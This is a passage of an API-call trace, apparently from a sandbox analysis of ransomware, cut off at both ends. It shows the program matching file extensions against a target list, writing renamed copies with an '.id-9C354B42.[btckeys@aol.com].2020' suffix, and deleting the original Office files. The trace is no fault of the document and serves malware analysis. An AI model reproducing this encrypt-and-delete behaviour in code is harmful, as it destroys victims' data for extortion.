lstrlenW (lpString=".ppt") returned 4 [0070.888] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.888] lstrlenW (lpString=".zip") returned 4 [0070.888] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.888] lstrlenW (lpString=".rar") returned 4 [0070.888] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.888] lstrlenW (lpString=".bz2") returned 4 [0070.888] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.888] lstrlenW (lpString=".7z") returned 3 [0070.888] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.888] lstrlenW (lpString=".dbf") returned 4 [0070.888] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.888] lstrlenW (lpString=".1cd") returned 4 [0070.888] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.889] lstrlenW (lpString=".jpg") returned 4 [0070.889] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.889] lstrlenW (lpString=".doc") returned 4 [0070.889] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString=".docx") returned 5 [0070.889] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0070.889] lstrlenW (lpString=".pdf") returned 4 [0070.889] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString=".xls") returned 4 [0070.889] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString=".xlsx") returned 5 [0070.889] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0070.889] lstrlenW (lpString=".ppt") returned 4 [0070.889] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.889] lstrlenW (lpString=".zip") returned 4 [0070.889] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.889] lstrlenW (lpString=".rar") returned 4 [0070.889] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString=".bz2") returned 4 [0070.889] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString=".7z") returned 3 [0070.889] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.889] lstrlenW (lpString=".dbf") returned 4 [0070.889] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.889] lstrlenW (lpString=".1cd") returned 4 [0070.889] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.889] lstrlenW (lpString=".jpg") returned 4 [0070.890] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.890] lstrcmpiW (lpString1=".CHM", lpString2=".2020") returned 1 [0070.890] lstrlenW (lpString="PSS10R.CHM") returned 10 [0070.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.218] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=27195) returned 1 [0074.218] CloseHandle (hObject=0x1fc) returned 1 [0074.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0074.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.218] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.219] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0074.219] GetLastError () returned 0x0 [0074.219] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0074.409] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0074.410] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.410] WriteFile (in: hFile=0x174, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0074.410] SetEndOfFile (hFile=0x174) returned 1 [0074.411] CloseHandle (hObject=0x174) returned 1 [0074.412] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.412] SetEndOfFile (hFile=0x1fc) returned 1 [0074.413] CloseHandle (hObject=0x1fc) returned 1 [0074.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.414] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0074.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.414] lstrlenW (lpString=".doc") returned 4 [0074.414] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0074.414] lstrlenW (lpString=".docx") returned 5 [0074.414] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0074.414] lstrlenW (lpString=".pdf") returned 4 [0074.414] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0074.414] lstrlenW (lpString=".xls") returned 4 [0074.414] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0074.414] lstrlenW (lpString=".xlsx") returned 5 [0074.414] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0074.414] lstrlenW (lpString=".ppt") returned 4 [0074.414] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0074.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.414] lstrlenW (lpString=".zip") returned 4 [0074.414] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0074.414] lstrlenW (lpString=".rar") returned 4 [0074.414] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0074.415] lstrlenW (lpString=".bz2") returned 4 [0074.415] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0074.415] lstrlenW (lpString=".7z") returned 3 [0074.415] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0074.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.415] lstrlenW (lpString=".dbf") returned 4 [0074.415] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0074.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.415] lstrlenW (lpString=".1cd") returned 4 [0074.415] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0074.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.415] lstrlenW (lpString=".jpg") returned 4 [0074.415] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0074.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.415] lstrlenW (lpString=".doc") returned 4 [0074.415] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0074.415] lstrlenW (lpString=".docx") returned 5 [0074.415] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0074.415] lstrlenW (lpString=".pdf") returned 4 [0074.415] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0074.415] lstrlenW (lpString=".xls") returned 4 [0074.415] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0074.415] lstrlenW (lpString=".xlsx") returned 5 [0074.415] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0074.415] lstrlenW (lpString=".ppt") returned 4 [0074.415] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0074.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.415] lstrlenW (lpString=".zip") returned 4 [0074.416] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0074.416] lstrlenW (lpString=".rar") returned 4 [0074.416] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0074.416] lstrlenW (lpString=".bz2") returned 4 [0074.416] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0074.416] lstrlenW (lpString=".7z") returned 3 [0074.416] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.416] lstrlenW (lpString=".dbf") returned 4 [0074.416] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.416] lstrlenW (lpString=".1cd") returned 4 [0074.416] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0074.416] lstrlenW (lpString=".jpg") returned 4 [0074.416] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0074.416] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.416] lstrlenW (lpString="SETUP.XML") returned 9 [0074.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.430] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4207) returned 1 [0074.431] CloseHandle (hObject=0x1fc) returned 1 [0074.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0074.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.431] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.431] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0074.432] GetLastError () returned 0x0 [0074.432] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x106f, lpOverlapped=0x0) returned 1 [0074.453] WriteFile (in: hFile=0x1d4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0074.454] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.454] WriteFile (in: hFile=0x1d4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.454] SetEndOfFile (hFile=0x1d4) returned 1 [0074.454] CloseHandle (hObject=0x1d4) returned 1 [0074.456] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.456] SetEndOfFile (hFile=0x1fc) returned 1 [0074.456] CloseHandle (hObject=0x1fc) returned 1 [0074.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0074.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.457] lstrlenW (lpString=".doc") returned 4 [0074.457] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.457] lstrlenW (lpString=".docx") returned 5 [0074.457] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.457] lstrlenW (lpString=".pdf") returned 4 [0074.457] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.457] lstrlenW (lpString=".xls") returned 4 [0074.457] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.457] lstrlenW (lpString=".xlsx") returned 5 [0074.457] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.457] lstrlenW (lpString=".ppt") returned 4 [0074.457] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.457] lstrlenW (lpString=".zip") returned 4 [0074.457] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.457] lstrlenW (lpString=".rar") returned 4 [0074.457] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.457] lstrlenW (lpString=".bz2") returned 4 [0074.457] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString=".7z") returned 3 [0074.458] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.458] lstrlenW (lpString=".dbf") returned 4 [0074.458] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.458] lstrlenW (lpString=".1cd") returned 4 [0074.458] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.458] lstrlenW (lpString=".jpg") returned 4 [0074.458] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.458] lstrlenW (lpString=".doc") returned 4 [0074.458] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString=".docx") returned 5 [0074.458] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.458] lstrlenW (lpString=".pdf") returned 4 [0074.458] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString=".xls") returned 4 [0074.458] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString=".xlsx") returned 5 [0074.458] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.458] lstrlenW (lpString=".ppt") returned 4 [0074.458] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.458] lstrlenW (lpString=".zip") returned 4 [0074.458] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.458] lstrlenW (lpString=".rar") returned 4 [0074.459] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.459] lstrlenW (lpString=".bz2") returned 4 [0074.459] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.459] lstrlenW (lpString=".7z") returned 3 [0074.459] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.459] lstrlenW (lpString=".dbf") returned 4 [0074.459] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.459] lstrlenW (lpString=".1cd") returned 4 [0074.459] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0074.459] lstrlenW (lpString=".jpg") returned 4 [0074.459] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.459] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.459] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0074.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.460] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6421) returned 1 [0074.461] CloseHandle (hObject=0x1fc) returned 1 [0074.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0074.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0074.462] GetLastError () returned 0x0 [0074.462] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1915, lpOverlapped=0x0) returned 1 [0074.463] WriteFile (in: hFile=0x1d4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0074.465] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.465] WriteFile (in: hFile=0x1d4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xee, lpOverlapped=0x0) returned 1 [0074.465] SetEndOfFile (hFile=0x1d4) returned 1 [0074.465] CloseHandle (hObject=0x1d4) returned 1 [0074.640] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.640] SetEndOfFile (hFile=0x1fc) returned 1 [0074.736] CloseHandle (hObject=0x1fc) returned 1 [0074.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 